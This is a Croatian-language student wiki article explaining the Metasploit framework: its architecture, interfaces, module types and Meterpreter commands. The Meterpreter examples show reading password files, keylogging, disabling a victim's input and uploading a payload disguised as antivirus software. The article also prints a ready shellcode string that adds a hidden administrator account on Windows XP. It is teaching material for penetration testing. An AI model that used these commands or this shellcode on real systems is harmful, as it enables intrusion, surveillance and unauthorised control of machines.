Metasploit framework i izrada modula za MSF
Krunoslav Đuras, Nikola Dugandžić
Metasploit Framework
Metasploit framework je alat za razvoj exploitacijskog koda te izvršavanje istog na udaljenom ciljnom računalu.
Metasploit framework je framework otvorenog koda.
On je dizajniran kako bi stručnjacima za sigurnost i penetracijskim testerima stavio na raspolaganje brz i jedinstven način za razvoj i korištenje raznih exploitova, payloadova, encodera, NOP generatora i alata za izviđanje (engl. reconnaissance).
Framework programerima pruža mogućnost da iskoriste velike dijelove već prije napisanih programa bez potrebe za kopiranjem koda ili ponovnom implementacijom.
Ova modularnost koja dozvoljava kombiniranje bilo kojih exploita sa bilo kojim payloadom je glavna prednost samog frameworka: to olakšava posao napadača, exploit i payload programera.
Metasploit radi na UNIX-u (uključujući Linux i Mac OS X) i na Windowsima. To uključuje dva sučelja naredbenog retka, web bazirano sučelje i izvorni GUI. Web bazirano sučelje je namijenjeno pokretanju sa računala napadača. Metasploit framework se može proširiti vanjskim dodacima (engl. add-ons) na više jezika.
Osnovni koraci exploitacije nekog sustava uz pomoć Metasploit frameworka uključuju:
- Odabir i konfiguracija exploita - koda koji iskorištava neki bug u sustavu - MSF sadrži bazu velikog broja exploita (oko 1000 exploita)
- Provjera da li je ciljani sustav ranjiv na odabrani exploit
- Odabir i konfiguracija payload-a - koda koji će se izvršiti na ciljanom sustavu nakon uspješne exploitacije - npr. remote shell
- Odabir tehnike kodiranja sa kojom će se kodirati payload - radi smanjenja rizika da će IPS sustavi detektirati payload
- Izvršavanje exploita
Kako bi se odabrao odgovarajući exploit i payload, potrebne su neke informacije o ciljnom sustavu kao što je verzija OS-a i instalirane mrežne usluge. Ove informacije se mogu očitati sa skeniranjem portova i alatima za otisak prsta OS-a (engl.OS fingerprinting tools) kao što je Nmap. Skeneri za ranjivost kao što su Nexpose ili Nessus mogu otkriti ranjivosti ciljnog sustava. Metasploit može uvesti skenirane podatke o ranjivosti i usporediti identificirane ranjivosti sa postojećim exploit modulima za precizniju eksploataciju.
MSF se u današnje vrijeme smatra pojedinačno najčešće korisnim alatom za reviziju koji je besplatno dostupan za profesionalce IT sigurnosti. Iz širokog spektra exploita komercijalnih razreda i opsežnog okruženja za razvoj exploita, pa sve do alata za prikupljanje informacija o mreži i plugina za ranjivosti weba. Metasploit framework pruža zaista impresivno radno okruženje. MSF je mnogo više nego samo kolekcija exploita, to je infrastruktura koju je moguće nadograđivati i koristiti prema prilagođenim potrebama. Time se korisnici mogu koncentrirati na svoje jedinstveno okruženje bez potrebe da moraju „izmišljati točak“.
Arhitektura Metasploit Framework-a
Na sljedećoj slici prikazana je arhitektura Metasploit Framework-a
Framework je dizajniran da bude čim više modularan kako bi potaknuo ponovnu upotrebu koda kroz različite projekte. Najbitniji komad arhitekture je Rex biblioteka što je u biti skraćena Ruby Extension biblioteka. Neke komponente koje pruža Rex uključuju podsustav omotanih socketa (engl. wrapper socket subsystem), implementacije klijentskih protokola i servera, podsustav prijave, uslužne klase za eksploataciju i još mnogo drugih korisnih klasa. Rex je sam po sebi dizajniran kako ne bi imao ovisnosti o ničem drugom nego samo o onom što dođe sa zadanom instalacijom Ruby-a. U slučaju da neka klasa Rex-a ovisi o nečem drugom što nije uključeno u zadanu instalaciju, onda neuspjeh u pronalasku takvih ovisnosti ne bi trebao dovesti do nemogućnosti korištenja Rex-a.
Framework je sam po sebi podijeljen na par različitih dijelova, gdje je na najnižem nivou jezgra frameworka. Jezgra frameworka je odgovorna za implementaciju svih potrebnih sučelja koja dozvoljavaju interakciju sa modulima exploita, sesijama i pluginovima. Ova jezgrina biblioteka je produžena sa osnovnom bibliotekom frameworka koja je dizajnirana kako bi pružila jednostavnije omotane rutine (engl. wrapper routines) za rad sa jezgrom frameworka, kao i pružala uslužne klase za rad sa različitim aspektima frameworka, kao što je serijalizacija stanja modula u druge izlazne formate. Također, osnovna biblioteka je produžena sa korisničkim sučeljem frameworka koji ima implementiranu podršku za različite tipove korisničkih sučelja za sam framework, kao što je naredbena konzola i web sučelje.
Od samog frameworka su odvojeni moduli i plugini koji su dizajnirani za podršku. Neki modul frameworka se definira kao jedan od exploita, payloada, encodera, NOP generatora ili pomoćni (engl.auxiliary). Ovi moduli imaju dobro definiranu strukturu i sučelje za učitavanje u framework. Framework plugin je veoma labavo definiran kao nešto što produžuje funkcionalnost frameworka ili povećava postojeću značajku kako bi ga promijenio da djeluje drugačijim načinima. Sljedeći odjelci će razraditi svaki od paketa opisanih iznad i različite važne podsustave pronađene unutar svakog paketa. Cijela dokumentacijal klasa i API-ja spomenutih u ovom dokumentu se mogu pronaći u dokumentaciji auto-generiranih API razina na webstranicama Metasploita.
Rex
Rex biblioteka je zbirka klasa i modula koji možda mogu biti korisni za više nego jedan projekt. Najkorisnije klase koje pruža biblioteka su dokumentirane u u sljedećim potpoglavljima. Kako bi koristili Rex biblioteku, ruby skripti je potreban rex. Kada se pišu exploiti često je nužno generirati skup instrukcija usput sa promjenjivim operandima kao što su neposredne vrijednosti, registri itd. Za podršku ovoj potrebi, Rex biblioteka pruža klase pod Rex::Arch namespace koji implementira generacijske rutine operacijskog koda ovisnog o arhitekturi kao i druge metode specifičke arhitekture, kao što su pakiranja cijelih brojeva (engl. integer packing). Često puta će ranjivosti imati zajednički vektor napada ili će im biti potreban specifičan redoslied operacija kako bi postigli krajnji cilj izvršavanja koda. Kao pomoć po tom pitanju, Rex biblioteka pruža skup klasa koje implementiraju neke od najčešćih potreba koje bi exploiti možda trebali imati.
Rex biblioteka pruža podršku za osnovno logiranje stringova u proizvoljna log sinkroniziranja, kao što su nestrukturirane datoteke ili baza podataka. Sučelje za logove je dostupno programerima kroz skup globalno definiranih metoda:dlog,ilog,wlog,elog i rlog. Ove metode predstavljaju debug logove, informacijske logove, logove upozorenja, logove o greškama i sirove logove respektivno. Svaka metoda može prenijeti log poruku, izvor loga (naziv komponente ili paketa odakle je došla poruka), i log razinu koja je broj između 0 i 3. Izvori logova se mogu registrirati usput registriranjem izvora loga i njihova log razina se može postaviti postavljanjem log razine.
Rex biblioteka pruža ipmlementacije na strani klijenta za neke napredne posteksploatacijske kolekcije programa kao što su DispatchNinja i Meterpreter. Ta dva posteksploatacijska korisnička sučelja su dizajnirana kako bi se mogla koristiti izvan konteksta exploita. Rex::Post namespace pruža skup klasa u svom korijenu koje su namijenjene da djeluju kao generalizirana sučelja na udaljenim sustavima preko posteksploatacijskih klijenata, ako je podržan. Ove klase dozvoljavaju programerima da napišu automatizirane alata koji mogu raditi na udaljenim računalima na način koji nije ovisan o platformi. Iako je istina da platformama mogu nedostajati analogni skupovi značajki za neke akcije, većina zajedničkih skupova akcija
će imati istu funkcionalnost.
MSF Core
Jezgra frameworka implementira skup klasa koje pružaju sučelju framework module i plugine. Dio jezgre frameworka je dizajniran kako bi se koristio u pristupu baziranom na instancama. To znači da stanje čitavog frameworka može biti sadržano unutar jedne instance klase pa prema tome može dozvoliti programerima da imaju više istodobnih i odvojenih instanci frameworka u uporabi u istom vremenu, a ne da sve prisilno dijeli jednu singleton instancu. Jezgra frameworka se sastoji od nekoliko različitih upravljača koji su odgovorni za neke od osnovnih aspekata frameworka, kao što je upravljanje modulima i pluginovima.
MSF Base
Baza frameworka je sloj biblioteke izgrađen na vrhu jezgre frameworka koja dodaje klase koje olakšavaju rad sa frameworkom. Također pruža skup klasa koje bi možda mogle koristiti alatima za razvoj od strane trećih stranki koje nužno ne spadaju unutar okvira jezgre frameworka. Klase koje izgrađuju framework bazu su opisane u sljedećim poglavljima. Kako bi se koristila bazna framework biblioteka, ruby skripti će biti potreban msf/base.
--Ndugandzi 14:55, 20. siječnja 2013. (CET)
Sučelja za MSF
Metasploit frameworok pruža GUI sučelja, konzolno sučelje zvano msfconsole i sučelje naredbenog retka zvano msfcli.
Grafičko korisničko sučelje – msfgui
Kako bi otvorili metasploit gui , potrebno je otvoriti terminal i napisati msfgui. Iz Metasploit grafičkog korisničkog sučelja je moguće gotovo skoro iste stvari raditi kao i sa drugih sučelja. GUI je jako koristan ukoliko se radi o novom korisniku Metasploit frameworka.
Msfconsole
MSFconsole je vjerojatno najpopularnije sučelje MSF-a. Pruža centraliziranu konzolu koja je sve u jednom i koja dozvoljava učinkovit pristup gotovo svim opcijama dostupnim u Metasploit frameworku. MSFconsole možda djeluje zastrašujuća na prvi pogled, ali kad se nauči sintaksa naredbi onda će korisnik naučiti cijeniti snagu korištenja ovog sučelja. MSFconsole je najpopularnije sučelje Metasploit frameworka. Pruža sve što je potrebno kako bi se pokrenuo exploit, učitali pomoćni (engl. auxiliary) moduli, izvela prebrojavanja, stvorili slušatelji ili pokrenuli masovnu eksploataciju protiv višestrukih ciljeva. To je jedini podržani način kako bi se pristupilo većini značajki unutar Metasploita i to je najstabilnije Metasploit sučelje. MSFconsole pruža mogućnost otvaranja tabova (engl. tab completion). Kako bi se otvorila MSFconsole potrebno je otvoriti terminal i utipkati msfconsole.
Msfcli
Msfcli pruža Metasploi frameworku snažno sučelje naredbenog retka, ali ne podržava bilo kakve napredne mogućnosti automatizacije msfconsole.Msfcli je odlično sučelje za skriptiranje, koje dozvolljava preusmjeravanje outputa od drugih alata u msfcli. Msfcli se može koristiti kao msfconsole, za pokretanje exploita ili pomoćnih (auxiliary) modula, ali ga je mnogo teže koristiti. Koristan je za specifične zadatke kao što je testiranje ili razvoj novih exploita. Msfcli je pogodan kada se točno zna koji exploit i koja opcija je potrebna. Kako bi se pokrenuo msfcli, potrebno je otvoriti terminal i upitakati msfcli. Za više pomoći potrebno je utipkati msfcli –h.
Armitage
Armitage je besplatan GUI front-end za Metasploit framework kojeg je razvio Raphael Mudge. Kako bi se pokrenuo armitage, potrebno je utipkati armitage u terminal.
--Krudjuras 22:14, 20. siječnja 2013. (CET)
Metasploit moduli
U Metasploit module se ne ubrajaju samo Exploit-i, nego u njih možemo uvrstiti
- Exploit module
- Payload module
- Encoder module
- NOP module
- Auxiliary module
Payload-ovi su proizvoljni kodovi koji se izvršavaju prilikom uspješne primjene Exploita.
Osnove rada sa Metasploit Frameworkom
Baze podataka
Kada se provodi penetracijski test, često je izazov pratiti sve što se učini na odredišnoj mreži. Ovdje upotreba baze podataka može predstavljati veliku uštedu na vremenu. Metasploit ima ugrađenu podršku za PostgeSQL sustav baze podataka. Sustav dozvoljava brzi i jednostavni pristup skeniranju informacija, daje nam mogućnost uvoza i izvoza rezultata skeniranja sa različitih alata trećih stranaka. Također možemo koristiti ove informacije kako bi poprilično brzo konfigurirali opcje modula. No, najvažnije je da čuva rezultate čistima i organiziranima.
Metasploit Meterpreter
Meterpreter je napredni, dinamički proširivi payload koji koristi DLL injection stagers unutar memorije te se proširi kroz čitavu mrežu prilikom upotrebe. Komunicira preko stager socketa i pruža sveobuhvatan Ruby API na klijentskoj strani. Značajke su mu da ima naredbenu povijest, završetak kartice (engl. tab completion) kanale i još mnogo toga. Meterpreter je izvorno napisan od skape???? za Metasploit 2.x, zajedničke ekstenzije su spojene za 3.x te se trenutno prolazi remont za Metasploit 3.3. Serverski dio je implementiran u čistom C-u te se sada kompajlira sa MSCV, čineći ga ponešto prenosivim. Klijent se može napisati u bilo kojem jeziku, ali Metasploit sadrži potpuno opremljeni Ruby klijent API.
Kada se pokuša eksploatirati udaljeni sustav, napadač uvijek ima specifične ciljeve na umu – obično, da dobije naredbenu ljusku udaljenog sustava, a time i pokretanje proizvoljnih naredbi na tom sustavu. Napadač bi također želio da to učini u što je više moguće skrivenim načinom, kao i izbjegavanje bilo kakvih sustava za otkrivanje upada (IDSs).
Ako je eksploatacija uspješna, ali naredbena ljuska prestane raditi, ili se izvršava u zatvorenom okruženju, napadačeve opcije će biti teško ograničene. To znači da pokretanje novog procesa na udaljenom sustavu rezultira u visoko vidljivoj situaciji, gdje bi dobar administrator ili forenzički analitičar, koji bi prvo provjerio listu pokrenutih procesa na sumnjivom sustavu, primjetio novi proces – i to je jedna od stvari koje napadač ne želi da se dogode.
Tek se tada u posao uključuje Meterpreter (skraćeno za Meta-Interpreter). Meterpreter je jedan od naprednijih payloada dostupnih sa MSF-om , ali se ne bi trebalo na njega gledati kao običan payload, već prije kao exploit platforma koja se izvršava na udaljenom sustavu. Meterpreter ima svoju vlastitu naredbenu ljusku, koja napadaču pruža široki spektar aktivnosti koje se mogu izvršiti na eksploatiranom sustavu. Dodatno, Meterpreter dozvoljava programerima pisanje svojih vlastitih ekstenzija u formi DLL datoteka, koje se mogu uploadati i izvršiti na udaljenim sustavima. Dakle, bilo koji programski jezik u kojem se programi mogu kompajlirati u DLL-ove se može koristiti za razvoj Meterpreter ekstenzija.
Međutim, prava ljepota Meterpretera leži u tome da može raditi kada sam sebe ubrizga u ranjive pokrenute procese na udaljenom sustavu, kada se pojavi eksploatacija. Sve naredbe idu kroz Meterpreter i također se izvršavaju unutar konteksta pokrenutog procesa. Na taj način je u stanju da izbjegne otkrivanje od strane bilo kakvog antivirusnog sustava ili osnovnih forenzičkih ispitivanja.
Osnovne komande
?, help
Pokretanjem ove naredbe dobiva se popis naredbi sa kratim objašnjenjem svake naredbe.
background
Ovom naredbom pauzira se trenutna sesija Meterpreter-a te se prebacuje u metasploit konzolu.
channel
Prikazuje informacije o aktivnim kanalima.
close
Naredba koja služi za zatvaranje određenog kanala.
exit, quit
Naredba pomoću koje se zatvara trenutna sesija te se vraća u metasploit konzolu.
interact
Naredba za interakciju sa nekim kanalom.
irb
Naredba irb služi za pokretanje interaktivnog shell-a programskog jezika Ruby. Na taj način se skriptni jezik Ruby može koristiti za interakciju sa kompromitiranim računalom.
migrate
Meterpreter se inicijalno izvršava unutar exploitiranog procesa ili kao poseban proces u nekim slučajevima. Ako se taj proces prekine iz nekog razloga, sesija Meterpretera će se zatvoriti. Zbog toga je dobra ideja Meterpreter sesiju prebaciti u neki drugi proces za koji je manje vjerojatno da će se zatvoriti, npr. u proces explorer.exe.
read
Služi za čitanje podataka sa nekog kanala.
run
Sa naredbom run se može izvršiti neka meterpreter skripta.
use
Sa naredbom use se mogu užitati ekstenzije za meterpreter koje onda pružaju mogućnost korištenja dodatnih naredbi i funkcionalnosti. Sa use -l možemo dobiti popis svih dostupnih ekstenzija.
write
Sa naredbom write se zapisuju podaci u određeni kanal.
File system commands
cat
Naredba cat prikazuje sadržaj jedne datoteke. Ukoliko je datoteka prazna naredba cat će izbaciti pogrešku.
meterpreter > <i><b>cat passwords.txt</b></i> harleydavidson password kidsbirthday
cd
Kako bi se promijenio direktorij koristi se naredba cd. Naredba prihvaća i slash i backslash putanje do direktorija naizmjenično, ali se češće koristi slash (/). "." i ".." se koriste kako bi se pristupilo trenutnom i nadređenom direktoriju respektivno, te se dvostruke točke mogu koristiti za pristup direktorijima sa razmakom u nazivu.
meterpreter > <i><b>pwd</b></i> C:\ meterpreter > <i><b>cd /"Program Files"/"Internet Explorer"</b></i> meterpreter > <i><b>pwd</b></i> C:\Program Files\Internet Explorer meterpreter > <i><b>cd ../../"documents and settings"/Administrator/Desktop/</b></i> C:\Documents and Settings\Administrator\Desktop
download
Kada trebamo dohvatiti datoteku iz cilja, koristimo naredbu download, koja prenosi određenu datoteku u naš lokalni radni direktorij. U slučaju da trebamo rekurzivno preuzeti cijeli direktorij onda koristimo naredbu download -r.
meterpreter > <i><b>download users.txt</b></i> [*] downloading: users.txt -> users.txt [*] downloaded : users.txt -> users.txt
edit
Ukoliko želimo urediti datoteku koristeći zadani tekst editor koristit ćemo naredbu edit. U pozadini, Meterpreter će preuzeti kopiju datoteke u privremeni (temp) direktorij, te potom uploadati novu datoteku kad se završi sa uređivanjem.
meterpreter > <i><b>edit users.txt</b></i>
getlwd
Možemo pirkazati trenutni radni direktorij na anšem lokalnom računalu koristeći naredbu getlwd (dohvaća lokalni radni direktorij) ili koristeći alisa,naredbu lpwd (lokalni print radni direktorij)
meterpreter > <i><b>getlwd</b></i> /home/myusername/Desktop/metasploit meterpreter > <i><b>lpwd</b></i> /home/myusername/Desktop/metasploit
getwd
Možemo prikazati trenutni radni direktorij na eksploatiranom računalu koristeći naredbu getwd (dohvaća radni direktorij) ili koristeći alias naredbu pwd (ispiši radni direktorij)
meterpreter > <i><b>getwd</b></i> C:\Program Files\Internet Explorer meterpreter > <i><b>pwd</b></i> C:\Program Files\Internet Explorer
lcd
Kako bi promjenili lokalni direktorij koristimo naredbu lcd. Naredba prima argumente samo na isti način kao i što radi naredba cd na našem OS-u, tako da su specifični upute ove naredbe dostupne i u dokumentaciji sustava. Sljedeći primjer prikazuje naredbu lcd na Linux sustavu.
meterpreter > <i><b>lpwd</b></i> /home/myusername/Desktop/metasploit meterpreter > <i><b>lcd ../..</b></i> meterpreter > <i><b>lpwd</b></i> /home/myusername meterpreter > <i><b>lcd /home/andrer/Desktop/metasploit</b></i> meterpreter > <i><b>lpwd</b></i> /home/myusername/Desktop/metasploit
lpwd
Sa ovom naredbom se može prikazati trenutni radni direktorij na našem lokalnom računallu (ispis lokalnog radnog direktorija). Isto se može ostvariti koristeći alias ove naredbe, naredbu getlwd (dohvati lokalni radni direktorij).
meterpreter > <i><b>lpwd</b></i> /home/myusername/Desktop/metasploit meterpreter > <i><b>getlwd</b></i> /home/myusername/Desktop/metasploit
ls
Možemo vidjeti i trenutni radni direktorij i detaljan opis datoteka u tom direktoriju koristeći naredbu ls. Izlistaji datoteka su dati u obliku sličnom programu GNU ls.
meterpreter > <i><b>ls</b></i> Listing: C:\Documents and Settings\Administrator\Desktop\shared =============================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 14965 fil Wed Dec 31 18:00:00 -0600 1969 meter-443.exe 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 u3
mkdir
ova naredba se koristi kako bi se stvorio novi direktorij na ciljnom sustavu.
meterpreter > <i><b>mkdir antivirus-update</b></i> Creating directory: antivirus-update meterpreter > <i><b>ls</b></i> Listing: C:\Documents and Settings\Administrator\Desktop ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 antivirus-update 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 shared 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 working
pwd
Možemo prikazati trenutni radni direktorij na našem lokalnom računalu koristeći naredbu pwd (ispiši radni direktorij -print working directory) ili koristeći alias, naredbu getwd(dohvati radni direktorij - get working directory).
meterpreter > <i><b>pwd</b></i> C:\Program Files\Internet Explorer meterpreter > <i><b>getwd</b></i> C:\Program Files\Internet Explorer
rmdir
Možemo takođe ukloniti prazan direktorij sa naredbom mkdir. Naredba će ispisati pogrešku ukoliko se radi o praznom direktoriju.
meterpreter > <i><b>rmdir antivirus-update</b></i> Removing directory: antivirus-update
upload
Koristi se za slanje datoteke na ciljnom sustavu. Uz pomoć -r prekidača rekurzivno se uploadaju direktoriji i njeni sadržaji. U sljedećem primjeru uploadamo lažno imenovani Meterpreter payload.
meterpreter > <i><b>upload antivirus.exe</b></i> [*] uploading : antivirus.exe -> antivirus.exe [*] uploaded : antivirus.exe -> antivirus.exe meterpreter > <i><b>ls</b></i> Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update ================================================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 10912 fil Wed Dec 31 18:00:00 -0600 1969 antivirus.exe
Networking Commands
ipconfig
Koristeći naredbu ipconfig, drugačije rečeno konfiguraciju internet protokola, možemo pogledati popis svih mrežnih sučelja na ciljnom sustavu. Gledanje rezultata ispisa za ipconfig je najviše korisno ukoliko želimo odrediti u koje je mreže ciljni sustav direktno spojen. Primjerice, u dijelu ispod možemo vidjeti da je meta spojena na 192.168.50.0/24 sa unutarnjom adresom 192.168.50.100.
meterpreter > <i><b>ipconfig</b></i> MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 National Semiconductor DP83815-Based PCI Fast Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0b:cd:30:db:0a IP Address : 192.168.50.100 Netmask : 255.255.255.0
portfwd
Prosljeđuje lokalni port nekom udaljenom servisu.
route
Koristi se za pregled i izmjenu tablice usmjeravanja.
System commands
execute
Izvršava naredbu. Kako bi se izvršila naredba potrebno je koristiti execute "-f" za izvršnu datoteku "cmd.exe". Ovo će se odviti u pozadini. Kako bi provjerili ovo potrebo je utipkati ps execute -f cmd.exe 54124 ---> ID procesa.
getpid
Koristi se za dohvaćanje trenutnog identifikatora procesa.
getuid
Dohvaća se server koji je pokrenut kao korisnik.
kill
Terminira proces.
ps
Naredba ps služi za ispis svih pokrenutih procesa te je važna naredba iz par razloga. Prvo, to je dobra ideja za nas kako bi bili svjesni aplikacija i servisa koji su pokrenuti s ciljem upozoravanja sustava. Drugo, Meterpreter je u početku pokrenut unutar eksploatiranog procesa ili u nekim slučajevim kao zaseban izvršni proces. Ukoliko se taj proces zaustavi iz bilo kojih razloga, Meterpreter sesija će se zatvoriti, tako da je dobra praksa preseliti sesiju na malo više stabilniji proces kao što je "Windows explorer.exe".
meterpreter > <i><b>ps</b></i> Process list ============ PID Name Path --- ---- ---- 284 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe 424 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe 492 smss.exe \SystemRoot\System32\smss.exe 592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 612 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe 636 services.exe C:\WINDOWS\system32\services.exe 648 lsass.exe C:\WINDOWS\system32\lsass.exe 804 svchost.exe C:\WINDOWS\system32\svchost.exe 876 NOTEPAD.EXE C:\WINDOWS\system32\NOTEPAD.EXE 964 svchost.exe C:\WINDOWS\System32\svchost.exe 1348 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1464 Explorer.EXE C:\WINDOWS\Explorer.EXE 1540 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe 1612 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe 1840 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe 1852 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe 1876 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe 1928 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe 1952 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe 3028 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe 3168 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe 3240 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe
reboot
Koristeći naredbu rebook, ciljni sustav se ponovo pokreće.
meterpreter > <i><b>reboot</b></i> Rebooting...
reg
Služi za izmjenu i interakciju sa udaljenim regeistrom.
rev2self
Poziva RevertToSelf() na udaljenom računalu.
shutdown
Koristeći naredbu shutdown, ciljni sustav će se isključiti.
meterpreter > <i><b>shutdown</b></i> Shutting down...
sysinfo
Kroz post-eksploatacijsku fazu, jedna od najranijih naredbi koje bi trebali pokrenuti je naredba sysinfo. Pokretanje naredbe će nam dati ime račinala i verziju OS-a, koja ćešto nudi trag o svrsi ciljnog sustava.
meterpreter > <i><b>sysinfo</b></i> Computer: TARGETLAPTOP OS : Windows XP (Build 2600, Service Pack 2).
User Interface Commands
enumdesktops
Ispisuje popis svih dostupnih desktop i windows stanica.
idletime
Koristeći naredbu idletime dohvaćamo duljinu vremena koje je korisnik ciljnog sustava bio u stanju mirovanja.
meterpreter > <i><b>idletime</b></i> User has been idle for: 51 secs
keyscan_dump
Možemo uhvatiti unos sa tipkovnice ciljnog sustava koristeći keyscan niz naredbi. Naredba keyscan_start i keyscan_stop će pokrenuti i završiti snimanje unosa sa tipkovnice,respektivno, dok naredba keyscan_dump prikazuje sve snimljene unose sa tipkovnice na našem klijentu.
meterpreter > <i><b>keyscan_start</b></i> Starting the keystroke sniffer... meterpreter > <i><b>keyscan_dump</b></i> Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > <i><b>keyscan_stop</b></i> Stopping the keystroke sniffer...
keyscan_start
Možemo uhvatiti unos sa tipkovnice ciljnog sustava koristeći keyscan niz naredbi. Naredba keyscan_start i keyscan_stop će pokrenuti i završiti snimanje unosa sa tipkovnice,respektivno, dok naredba keyscan_dump prikazuje sve snimljene unose sa tipkovnice na našem klijentu.
meterpreter > <i><b>keyscan_start</b></i> Starting the keystroke sniffer... meterpreter > <i><b>keyscan_dump</b></i> Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > <i><b>keyscan_stop</b></i> Stopping the keystroke sniffer...
keyscan_stop
Možemo uhvatiti unos sa tipkovnice ciljnog sustava koristeći keyscan niz naredbi. Naredba keyscan_start i keyscan_stop će pokrenuti i završiti snimanje unosa sa tipkovnice,respektivno, dok naredba keyscan_dump prikazuje sve snimljene unose sa tipkovnice na našem klijentu.
meterpreter > <i><b>keyscan_start</b></i> Starting the keystroke sniffer... meterpreter > <i><b>keyscan_dump</b></i> Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > <i><b>keyscan_stop</b></i> Stopping the keystroke sniffer...
setdesktop
Premještanje na drugu radnu stanicu i desktop.
uictl
Koristeći naredbu uictl imamo mogućnost onemogućavanja unosa tipkovnice i mišta na ciljnom sustavu.
meterpreter > <i><b>uictl disable mouse</b></i> Disabling mouse... meterpreter > <i><b>uictl enable mouse</b></i> Enabling mouse... meterpreter > <i><b>uictl disable keyboard</b></i> Disabling keyboard... meterpreter > <i><b>uictl enable keyboard</b></i> Enabling keyboard...
--Ndugandzi 09:17, 20. siječnja 2013. (CET) --Krudjuras 11:57, 19. siječnja 2013. (CET)
Izrada modula za MSF
Kod verzije 4.5 MSF-a moduli se nalaze u direktoriju /opt/metasploit-4.5.0/apps/pro/msf3/modules/ Moduli za Metasploit Framework se pišu u skriptnom jeziku Ruby.
Kod kreiranja novih modula moguće je koristiti već postojeće module, kombinirati postojeće module i sl. jer je cijeli Metasploit framework pisan tako da bude vrlo modularan i da se većina postojećeg kod može ponovo iskoristiti.
Izrada exploitova
Osnovna struktura exploit modula je sljedeća
header and some dependencies Some comments about the exploit module require ‘msf/core’ class definition includes “def” definitions : initialize check (optional) exploit
Fuzzing
Fuzzer je program koji pokušava otkriti sigurnone ranjivosti slanjem slučajnih inputa nekoj aplikaciji. Ukoliko program sadrži ranjivosti koje mogu dovesti do iznimki, pada ili serverske greške (u slučaju web aplikacija), može se utvrditi daje ranjivost otkrivena. Fuzzeri se često nazivaju Fault Injectors (pogrešnim ubrizgavačima) jer generiraju smetnje i šalju ih prema nekoj aplikaciji. Općenito fuzzeri su dobi prilikom pronalaženja prekoračenja buffera, DoS, SQL Injection, XSS i Format String bugovi. Oni čine loš posao prilikom pronalaženja ranjivosti koje ne uzrokuju rušenje programa.
Izrada encodera
Kod izrade novog encodera cilj je da se kreira novi način kodiranja koji bi trebao smanjiti vjerojatnost detekcije palyoada i povećati vjerojatnost njegovog uspješnog izvršenja. Postoji više vrsta encodore, a primjer izvornog koda jednog jednostavnog encodera prikazan je u nastavku
Izrada payloadova
Kod izrade payloadova u biti se izrađuje koristan teret koji će se izvršiti ako se računalo uspješno exploita. To većinom uključuje pisanje shellcodeova, a to pretpostavlja dobro poznavanja programiranja u assembleru i dobro poznavanje operacijskog sustava koji se exploita jer se shellcodovi razlikuju čak i po verzijama Service Packova za Windowse.
Sljedeći shellcode dodaje novog korisnika sa administratorskim ovlastima na operacijskom sustavu Windows XP SP3 (32-bitna engleska verzija).
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23" "\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" "\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63" "\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20" "\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73" "\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e" "\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20" "\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67" "\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e" "\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20" "\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61" "\x64\x64\x00";
Shellcode
U računalnoj sigurnosti, shellcode je mali dio koda koji se koristi kao payload prilikom eksploatacije ranjivosti softwarea. Naziva se "shellcode" (kod iz ljuske) jer obično pokreće naredbenu ljusku sa koje napadač može kontrolirati kompromitirano računalo, ali se i svaki komad koda koji obavlja slične zadatke može nazvati shellcode.
Postupak izrade vlastitog shellcodea
Za izradu vlastitog shellcode-a potrebno je poznavati assembler i operacijski sustav za koji se piše shellcode. U nastavku je dan opis kreiranje command execution shellcodea za Windows XP SP2 os (slično je i za druge verzija Windows OS-a, samo se korištene funkcije operacijskog sustava nalaze na drugim memorijskim lokacijama pa je potrebno promijeniti te adrese u assembler kodu).
